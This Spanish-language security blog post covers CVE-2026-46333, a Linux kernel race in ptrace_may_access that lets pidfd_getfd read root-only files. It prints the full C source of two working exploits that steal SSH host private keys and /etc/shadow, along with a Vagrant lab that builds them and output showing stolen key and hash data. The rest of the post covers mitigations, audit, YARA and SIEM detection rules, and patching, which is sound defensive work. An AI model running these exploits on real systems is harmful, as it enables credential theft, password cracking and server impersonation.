Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

CVE-2026-46333 ssh-keysign-pwn: robo de claves SSH y /etc/shadow sin privilegios

CVE-2026-46333 ssh-keysign-pwn: robo de claves SSH y /etc/shadow sin privilegios

Tabla de contenidos

Que es ssh-keysign-pwn (CVE-2026-46333)

ssh-keysign-pwn explota un bug en ptrace_may_access() del kernel Linux que permite a un usuario sin privilegios leer ficheros protegidos de root como las claves privadas SSH del host (/etc/ssh/ssh_host_*_key, modo 0600) y /etc/shadow.

No es una escalada de privilegios directa: es una vulnerabilidad de lectura de ficheros privilegiados que permite robar credenciales para obtener root posteriormente (cracking offline del hash de shadow, o impersonación del servidor SSH con las claves robadas).

El bug fue reportado por Qualys y parcheado por Linus Torvalds el 2026-05-14 (commit 31e62c2ebbfd). Jann Horn ya había identificado la forma del ataque con pidfd_getfd en octubre de 2020. Seis años abierto.

Datos clave

CampoValor
CVECVE-2026-46333
TipoLectura de ficheros privilegiados (information disclosure)
CWEPendiente de asignación
Kernels afectadosTodos los estables anteriores a 2026-05-14 (pre-31e62c2ebbfd)
Exploit públicoSi (0xdeadbeefnetwork/ssh-keysign-pwn)
ComplejidadBaja (C puro, ~90 líneas, sin dependencias)
Confirmado enUbuntu 22.04/24.04/26.04, Debian 13, Arch, CentOS 9, RPi OS Bookworm

El bug: ptrace_may_access() y mm-NULL

La función __ptrace_may_access() en el kernel verifica si un proceso puede acceder a otro. Parte de esa verificación comprueba si el proceso objetivo es "dumpable" (puede generar core dumps). Pero cuando task->mm == NULL (el proceso ya no tiene memoria mapeada), se salta la comprobación de dumpability.

La ventana de explotación esta en do_exit():

  1. Un proceso setuid (ej. ssh-keysign) abre ficheros privilegiados como root
  2. El proceso llama a exit_mm() — libera su memoria, task->mm = NULL
  3. Pero los file descriptors siguen abiertosexit_files() se ejecuta despues
  4. En esa ventana (mm=NULL, fds abiertos), pidfd_getfd(2) puede robar los file descriptors si el uid del caller coincide con el uid del target

pidfd_getfd(2) es una syscall que permite obtener una copia de un file descriptor de otro proceso. Normalmente esta protegida por ptrace_may_access(), pero el bug en el check de dumpability la deja pasar cuando mm=NULL.

Los dos vectores de ataque

1. sshkeysign_pwn — robo de claves SSH host

ssh-keysign es un binario setuid que abre /etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key (modo 0600, propiedad de root) antes de llamar a permanently_set_uid(). Si EnableSSHKeysign=no (la configuración por defecto), ssh-keysign hace exit con los file descriptors de las claves todavia abiertos.

El exploit:

  1. Lanza ssh-keysign repetidamente (hasta 500 rounds)
  2. Abre un pidfd al proceso hijo con pidfd_open()
  3. Intenta pidfd_getfd() en un bucle rápido (30000 intentos) sobre los fd 3-31
  4. Cuando acierta la ventana mm-NULL, obtiene el fd de la clave privada
  5. Lee y muestra la clave por stdout

2. chage_pwn — robo de /etc/shadow

chage -l abre /etc/shadow con O_RDONLY y luego hace setreuid(ruid, ruid) para eliminar privilegios. Misma race condition: los fd siguen abiertos durante do_exit().

Escenarios de explotación

Donde ES explotable

EscenarioRiesgoPor que
Servidores SSH multi-tenantCriticoCualquier usuario roba las claves SSH host y puede impersonar el servidor (MitM)
Servidores con usuarios localesCriticoRobo de /etc/shadow + cracking offline = root
CI/CD runnersAltoUn job malicioso roba claves SSH del runner
Containers (si ssh-keysign disponible)AltoEscape parcial: robo de credenciales del host
Cloud VMs compartidasAltoUn tenant roba las claves SSH de la VM

Que se puede robar

FicheroComoImpacto
/etc/ssh/ssh_host_ecdsa_keysshkeysign_pwnImpersonar servidor SSH, MitM
/etc/ssh/ssh_host_ed25519_keysshkeysign_pwnImpersonar servidor SSH, MitM
/etc/ssh/ssh_host_rsa_keysshkeysign_pwnImpersonar servidor SSH, MitM
/etc/shadowchage_pwnCracking offline de passwords, root si se crackea

Donde NO es explotable

EscenarioPor que
Kernel parcheado (>= 31e62c2ebbfd)El check de dumpability funciona correctamente
Sistemas sin ssh-keysignSin el binario setuid, no hay fd que robar (para ese vector)
Containers sin setuid binaries--no-new-privileges o nosuid mount previenen el ataque
Sistemas con passwords deshabilitadosShadow sin hashes utiles (solo * o !)

Lab: reproducción con Vagrant

Requisitos

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Conexion a internet

Desplegar la VM vulnerable

BASH
#!/bin/bash
# deploy_ssh_keysign_pwn_lab.sh - Lab para CVE-2026-46333
# Uso: chmod +x deploy_ssh_keysign_pwn_lab.sh && ./deploy_ssh_keysign_pwn_lab.sh

LAB_DIR="ssh_keysign_pwn_lab"

echo "=== CVE-2026-46333 (ssh-keysign-pwn) Lab ==="
mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46333 - ssh-keysign-pwn Lab
# ptrace_may_access mm-NULL bypass + pidfd_getfd

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "ssh-keysign-pwn-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "ssh-keysign-pwn-lab"
    vb.memory = "1024"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    export DEBIAN_FRONTEND=noninteractive
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null
    apt-get update -qq
    apt-get install -y -qq gcc make git openssh-client

    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    cd /home/attacker
    git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git 2>/dev/null || true
    if [ -d /home/attacker/ssh-keysign-pwn ]; then
      cd /home/attacker/ssh-keysign-pwn && make
    fi
    chown -R attacker:attacker /home/attacker/ssh-keysign-pwn

    echo ""
    echo "============================================"
    echo " CVE-2026-46333 ssh-keysign-pwn"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo " vagrant ssh && su - attacker"
    echo " cd ssh-keysign-pwn"
    echo " ./sshkeysign_pwn     # roba claves SSH host"
    echo " ./chage_pwn root     # roba /etc/shadow"
    echo "============================================"
  SHELL
end
EOF

cd "$LAB_DIR" && vagrant up
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Ejecutar:

BASH
chmod +x deploy_ssh_keysign_pwn_lab.sh
./deploy_ssh_keysign_pwn_lab.sh

La VM se levanta con:

  • Ubuntu 24.04 con kernel 6.8.0-86-generic (vulnerable)
  • ssh-keysign instalado en /usr/lib/openssh/ssh-keysign
  • Exploit compilado en /home/attacker/ssh-keysign-pwn/
  • Usuario attacker (password: attacker) sin privilegios

Verificar que el sistema es vulnerable

BASH
vagrant ssh

# Comprobar kernel
uname -r
# 6.8.0-86-generic

# Comprobar que ssh-keysign existe y es setuid
ls -la /usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root  ssh-keysign

# Comprobar que las claves SSH no son legibles
cat /etc/ssh/ssh_host_ecdsa_key
# Permission denied

# Comprobar que shadow no es legible
cat /etc/shadow
# Permission denied

Ejecutar los exploits

Robar claves SSH host:

BASH
su - attacker
# Password: attacker

cd ssh-keysign-pwn
./sshkeysign_pwn

Salida real de la prueba:

CODE
uid=1001  target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=0 try=1664)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQENXQ9aojrtWZkPgMfrQ8MN2fd8EXU
...
-----END OPENSSH PRIVATE KEY-----

El exploit roba la clave privada ECDSA del host SSH en la primera ronda, tras 1664 intentos de race condition. El fichero tiene permisos 0600 y es propiedad de root, pero el exploit lo lee como usuario sin privilegios.

Robar /etc/shadow:

BASH
./chage_pwn root

Salida real:

CODE
fd 6 -> /etc/shadow (round=0 try=648)
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
vagrant:$6$rounds=4096$5CU3LEj/...:20384:0:99999:7:::
attacker:$y$j9T$74vFTWOXXLb...:20590:0:99999:7:::

Roba el fichero shadow completo en round 0, try 648. Los hashes de password se pueden crackear offline con hashcat o john.

Codigo fuente completo de los exploits

sshkeysign_pwn.c

El exploit sshkeysign_pwn.c es sorprendentemente simple (~90 líneas de C puro, sin dependencias externas):

C
/*
 * "It is a fearful thing to fall into the hands of the living God."
 *                                                — Hebrews 10:31
 *
 * ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
 * Bails out with the fds still open on EnableSSHKeysign=no. Race the
 * exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
 * (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

static int pidfd_open(pid_t pid, unsigned f)
{
	return syscall(__NR_pidfd_open, pid, f);
}

static int pidfd_getfd(int pfd, int fd, unsigned f)
{
	return syscall(__NR_pidfd_getfd, pfd, fd, f);
}

static const char *PATHS[] = {
	"/usr/libexec/ssh-keysign",
	"/usr/libexec/openssh/ssh-keysign",
	"/usr/lib/ssh/ssh-keysign",
	"/usr/lib/openssh/ssh-keysign",
	NULL,
};

int main(void)
{
	const char *bin = NULL;
	for (int i = 0; PATHS[i]; i++)
		if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
	if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
	fprintf(stderr, "uid=%d  target=%s\n", getuid(), bin);

	for (int round = 0; round < 500; round++) {
		pid_t c = fork();
		if (c == 0) {
			int dn = open("/dev/null", O_RDWR);
			dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
			execl(bin, "ssh-keysign", (char *)NULL);
			_exit(127);
		}

		int pfd = pidfd_open(c, 0);
		if (pfd < 0) { waitpid(c, NULL, 0); continue; }

		int hit = 0;
		for (int a = 0; a < 30000 && !hit; a++) {
			for (int i = 3; i < 32; i++) {
				int s = pidfd_getfd(pfd, i, 0);
				if (s < 0) continue;

				char p[256] = {0}, lk[64];
				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
				ssize_t n = readlink(lk, p, sizeof(p) - 1);
				if (n > 0) p[n] = 0;

				if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
					char buf[4096];
					lseek(s, 0, SEEK_SET);
					ssize_t k = read(s, buf, sizeof(buf) - 1);
					if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
					close(s);
					hit = 1;
					break;
				}
				close(s);
			}
		}

		close(pfd);
		waitpid(c, NULL, 0);
		if (hit) return 0;
	}

	fprintf(stderr, "no hit in 500 rounds\n");
	return 1;
}

chage_pwn.c

El segundo vector de ataque, para robar /etc/shadow via chage:

C
/*
 * "It is a fearful thing to fall into the hands of the living God."
 *                                                — Hebrews 10:31
 *
 * chage -l opens /etc/passwd and /etc/shadow before
 * setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
 * window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
 *
 * Crack the root hash offline -> su - -> root shell.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

int main(int argc, char **argv)
{
	const char *user = argc > 1 ? argv[1] : "root";

	for (int round = 0; round < 500; round++) {
		pid_t c = fork();
		if (c == 0) {
			int dn = open("/dev/null", O_RDWR);
			dup2(dn, 1); dup2(dn, 2);
			execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
			_exit(127);
		}
		int pfd = syscall(__NR_pidfd_open, c, 0);
		if (pfd < 0) { waitpid(c, NULL, 0); continue; }

		int got = -1;
		for (int a = 0; a < 30000 && got < 0; a++) {
			for (int i = 3; i < 32; i++) {
				int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
				if (s < 0) continue;
				char p[256] = {0}, lk[64];
				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
				ssize_t n = readlink(lk, p, sizeof(p) - 1);
				if (n > 0) p[n] = 0;
				if (strstr(p, "/etc/shadow")) {
					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
					got = s;
					break;
				}
				close(s);
			}
		}

		if (got >= 0) {
			char buf[8192];
			lseek(got, 0, SEEK_SET);
			ssize_t n;
			while ((n = read(got, buf, sizeof(buf))) > 0)
				fwrite(buf, 1, n, stdout);
			close(got);
			close(pfd);
			waitpid(c, NULL, 0);
			return 0;
		}
		close(pfd);
		waitpid(c, NULL, 0);
	}
	fprintf(stderr, "no hit in 500 rounds\n");
	return 1;
}

Compilación manual

BASH
gcc -O2 -o sshkeysign_pwn sshkeysign_pwn.c
gcc -O2 -o chage_pwn chage_pwn.c

Cómo funciona

La clave esta en pidfd_getfd(): normalmente falla con EPERM porque ptrace_may_access() lo bloquea. Pero durante la ventana entre exit_mm() y exit_files() en do_exit(), el check de dumpability se salta porque task->mm == NULL, y pidfd_getfd() tiene exito.

El flujo de sshkeysign_pwn es: lanzar ssh-keysign repetidamente (hasta 500 rounds), abrir un pidfd al proceso hijo, e intentar pidfd_getfd() en un bucle rápido (30000 intentos) sobre los fd 3-31. Cuando acierta la ventana mm-NULL, obtiene el fd de la clave privada, verifica que apunta a ssh_host_*_key via /proc/self/fd/, y la lee por stdout. chage_pwn sigue el mismo patrón pero busca /etc/shadow en los fd robados.

Workarounds para entornos que no pueden parchear

Workaround 1: Deshabilitar ssh-keysign

ssh-keysign no se usa en la gran mayoria de sistemas (solo se necesita para host-based authentication, que casi nadie configura):

BASH
# Quitar permisos de ejecución
chmod 0 /usr/lib/openssh/ssh-keysign

# O eliminar el bit setgid
chmod g-s /usr/lib/openssh/ssh-keysign

# Verificar
ls -la /usr/lib/openssh/ssh-keysign
# ---------- 1 root ssh 0 ssh-keysign

Qué rompe esto: solo afecta a host-based authentication SSH (HostbasedAuthentication yes), que raramente se usa.

Workaround 2: Proteger chage

En Ubuntu 24.04 chage tiene setgid (-rwxr-sr-x 1 root shadow), no setuid. Quitar solo u-s no tiene efecto. La forma segura es restringir el acceso completamente:

BASH
# Restringir acceso (recomendado)
chmod 750 /usr/bin/chage

# O quitar todos los bits setuid/setgid
chmod a-s /usr/bin/chage

Qué rompe esto: chage -l dejará de funcionar para usuarios normales. Los admins pueden seguir usando sudo chage.

Workaround 3: Reglas de auditoria

BASH
# /etc/audit/rules.d/ssh-keysign-pwn.rules

# Detectar ejecución de ssh-keysign por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k ssh_keysign_exec

# Detectar pidfd_getfd (syscall 438)
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k pidfd_getfd_attempt

# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_ed25519_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_rsa_key -p r -k ssh_host_key_read

# Detectar ejecución masiva de chage
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/chage -F auid>=1000 -k chage_exec
BASH
augenrules --load

Workaround 4: Bloquear pidfd_getfd con seccomp

Para containers, bloquear la syscall pidfd_getfd (438):

JSON
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["pidfd_getfd"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

Detección del ataque

Indicadores de compromiso

El exploit tiene un patron muy reconocible:

  • Ejecución masiva y rapida de ssh-keysign (100-2000 spawns)
  • Llamadas pidfd_open + pidfd_getfd en rafaga
  • Un proceso no-root que de repente tiene abierto un fd apuntando a /etc/ssh/ssh_host_*_key

Regla auditd

BASH
# /etc/audit/rules.d/ssh-keysign-pwn.rules

# Detectar ejecución masiva de ssh-keysign
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k cve_2026_46333_keysign

# Detectar syscall pidfd_getfd (438) por no-root
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k cve_2026_46333_pidfd

# Detectar lectura de /etc/shadow por no-root
-w /etc/shadow -p r -k cve_2026_46333_shadow

# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_ed25519_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_rsa_key -p r -k cve_2026_46333_hostkey

Regla YARA

YARA
rule SSHKeysignPwn_CVE_2026_46333 {
    meta:
        description = "Detecta el exploit ssh-keysign-pwn (CVE-2026-46333)"
        author = "Red Orbita"
        date = "2026-05-17"
        cve = "CVE-2026-46333"
        severity = "critical"

    strings:
        $s1 = "pidfd_getfd" ascii
        $s2 = "pidfd_open" ascii
        $s3 = "ssh-keysign" ascii
        $s4 = "ssh_host_" ascii
        $s5 = "sshkeysign_pwn" ascii
        $s6 = "chage_pwn" ascii
        $s7 = "/etc/shadow" ascii
        $s8 = "no hit in 500 rounds" ascii

    condition:
        ($s1 and $s2 and ($s3 or $s4)) or
        ($s5 or $s6) or
        ($s8 and $s1) or
        (4 of them)
}
BASH
yara -r ssh_keysign_pwn.yar /home/ /tmp/ /var/tmp/ /dev/shm/

Reglas Wazuh

XML
<group name="ssh_keysign_pwn,exploit,cve-2026-46333">

  <!-- Ejecución de ssh-keysign por usuario no privilegiado -->
  <rule id="100520" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_keysign</field>
    <description>CVE-2026-46333: Ejecución de ssh-keysign por usuario no-root</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Ejecución masiva de ssh-keysign (>10 en 5 segundos) -->
  <rule id="100521" level="15" frequency="10" timeframe="5">
    <if_matched_sid>100520</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-46333: Ejecución masiva de ssh-keysign (race condition en curso)</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Uso de pidfd_getfd por no-root -->
  <rule id="100522" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_pidfd</field>
    <description>CVE-2026-46333: Syscall pidfd_getfd por usuario no-root</description>
    <mitre>
      <id>T1552</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Lectura de clave SSH host por no-root -->
  <rule id="100523" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_hostkey</field>
    <description>CVE-2026-46333: Lectura de clave SSH host por usuario no-root</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>credential_access,attack,</group>
  </rule>

  <!-- Lectura de /etc/shadow por no-root -->
  <rule id="100524" level="15">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_shadow</field>
    <description>CVE-2026-46333: Lectura de /etc/shadow por usuario no-root</description>
    <mitre>
      <id>T1003.008</id>
    </mitre>
    <group>credential_access,attack,</group>
  </rule>

</group>

Elastic Security

JSON
{
  "rule": {
    "name": "CVE-2026-46333 ssh-keysign-pwn - Mass ssh-keysign Execution",
    "description": "Detecta ejecución masiva de ssh-keysign que indica explotación de CVE-2026-46333",
    "severity": "critical",
    "risk_score": 95,
    "type": "threshold",
    "query": "process.name: \"ssh-keysign\" AND user.id >= 1000",
    "threshold": {
      "field": ["host.name"],
      "value": 10,
      "cardinality": []
    },
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0006",
          "name": "Credential Access"
        },
        "technique": [
          {
            "id": "T1552.004",
            "name": "Private Keys"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-46333", "ssh-keysign-pwn", "Linux"]
  }
}

KQL:

CODE
# Ejecución masiva de ssh-keysign
process.name: "ssh-keysign" AND user.id >= 1000

# Uso de pidfd_getfd
auditd.data.key: "cve_2026_46333_pidfd"

# Acceso a claves SSH host
auditd.data.key: "cve_2026_46333_hostkey"

Splunk

SPL
| Ejecución masiva de ssh-keysign
index=linux sourcetype=linux:audit key="cve_2026_46333_keysign"
| bucket _time span=5s
| stats count by host, auid, _time
| where count > 10
| eval severity="critical"

| Uso de pidfd_getfd por no-root
index=linux sourcetype=linux:audit syscall=438 auid>=1000
| stats count by host, auid, exe
| sort -count

| Acceso a claves SSH host o shadow
index=linux sourcetype=linux:audit (key="cve_2026_46333_hostkey" OR key="cve_2026_46333_shadow")
| stats count by host, auid, key, _time

IBM QRadar

CODE
Rule Name: CVE-2026-46333 ssh-keysign-pwn - Mass Execution
Rule Type: Event (Anomaly)
Condition:
  - More than 10 events with Event Name "SYSCALL" AND "ssh-keysign"
  - Within 5 seconds
  - From same Source IP
Action: Dispatch Critical Offense
Severity: 10
MITRE: T1552.004

Script de detección rapida

BASH
#!/bin/bash
# check_ssh_keysign_pwn.sh - Verificar estado de CVE-2026-46333

echo "=== CVE-2026-46333 ssh-keysign-pwn - Check ==="
echo ""

# 1. Verificar si ssh-keysign existe y es setuid/setgid
VULN=0
for path in /usr/libexec/ssh-keysign /usr/libexec/openssh/ssh-keysign \
            /usr/lib/ssh/ssh-keysign /usr/lib/openssh/ssh-keysign; do
    if [ -f "$path" ]; then
        PERMS=$(stat -c%A "$path")
        if echo "$PERMS" | grep -q "s"; then
            echo "[VULNERABLE] $path tiene bit setuid/setgid: $PERMS"
            VULN=1
        else
            echo "[OK] $path sin bit setuid/setgid: $PERMS"
        fi
    fi
done

if [ $VULN -eq 0 ]; then
    echo "[OK] ssh-keysign no encontrado o sin setuid"
fi

# 2. Verificar si chage tiene setuid
if [ -f /usr/bin/chage ]; then
    PERMS=$(stat -c%A /usr/bin/chage)
    if echo "$PERMS" | grep -q "s"; then
        echo "[VULNERABLE] /usr/bin/chage tiene bit setuid: $PERMS"
        VULN=1
    fi
fi

# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"

# 4. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
    find "$dir" \( -name "sshkeysign_pwn" -o -name "chage_pwn" -o -name "ssh-keysign-pwn" \) 2>/dev/null | while read f; do
        echo "  [ALERTA] Exploit encontrado: $f"
    done
done

# 5. Verificar integridad de claves SSH
echo ""
echo "Claves SSH host:"
for key in /etc/ssh/ssh_host_*_key; do
    if [ -f "$key" ]; then
        PERMS=$(stat -c%a "$key")
        OWNER=$(stat -c%U "$key")
        echo "  $key: permisos=$PERMS owner=$OWNER"
        if [ "$PERMS" != "600" ] || [ "$OWNER" != "root" ]; then
            echo "  [ALERTA] Permisos incorrectos"
        fi
    fi
done

echo ""
if [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Aplicar workaround: chmod 0 /usr/lib/openssh/ssh-keysign"
else
    echo "[OK] Sistema no vulnerable al vector ssh-keysign"
fi

Solución definitiva: actualizar el kernel

El parche es el commit 31e62c2ebbfd de Linus Torvalds (2026-05-14), que modifica get_dumpable() para devolver un valor seguro cuando task->mm == NULL:

  • Si el proceso nunca tuvo mm (kernel thread): devuelve "no dumpable" (valor 0)
  • Si el proceso tuvo mm pero ya la libero: usa el ultimo valor cacheado de dumpability
  • Requiere CAP_SYS_PTRACE para acceder a procesos sin mm

Ubuntu

BASH
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

Debian

BASH
sudo apt update && sudo apt upgrade -y linux-image-amd64
sudo reboot

RHEL/CentOS/Rocky

BASH
sudo dnf update kernel -y
sudo reboot

Post-parche: rotar claves SSH host

Critico: si el sistema fue vulnerable, las claves SSH host pueden haber sido robadas. Rotarlas:

BASH
# Regenerar todas las claves SSH host
rm /etc/ssh/ssh_host_*
ssh-keygen -A

# Reiniciar sshd
systemctl restart sshd

# Notificar a los usuarios que actualicen known_hosts
echo "ATENCION: Las claves SSH del host han cambiado"
echo "Los usuarios deben ejecutar:"
echo "  ssh-keygen -R <hostname>"

Plan de respuesta recomendado

PrioridadAcciónTiempo
Inmediatachmod 0 /usr/lib/openssh/ssh-keysign en todos los hosts< 30 min
InmediataDesplegar reglas de auditoria< 1 hora
24hVerificar si /etc/shadow contiene hashes crackeables< 24h
24hRotar claves SSH host en servidores criticos< 24h
72hActualizar kernel en todos los sistemas< 72h
Post-parcheRotar claves SSH host en todos los servidoresTras parche
Post-parcheForzar cambio de passwords si shadow fue expuestoTras parche

Conclusiones

CVE-2026-46333 es un bug de 6 años en ptrace_may_access() que permite leer ficheros privilegiados sin autenticación. Lo que lo hace peligroso:

  • Simplicidad: ~90 líneas de C, sin dependencias, funciona en round 0
  • Universalidad: afecta todos los kernels estables anteriores a 2026-05-14
  • Impacto real: robo de claves SSH host (MitM) + shadow (cracking offline)
  • Dificil de detectar: el exploit solo ejecuta binarios normales del sistema (ssh-keysign, chage)
  • Pattern antiguo: Jann Horn lo identifico en 2020, pero no se corrigio hasta 2026

La mitigación inmediata más efectiva es chmod 0 /usr/lib/openssh/ssh-keysign, que no afecta a la operativa normal del SSH. Tras parchear, rotar las claves SSH host es obligatorio.

Referencias

Comentarios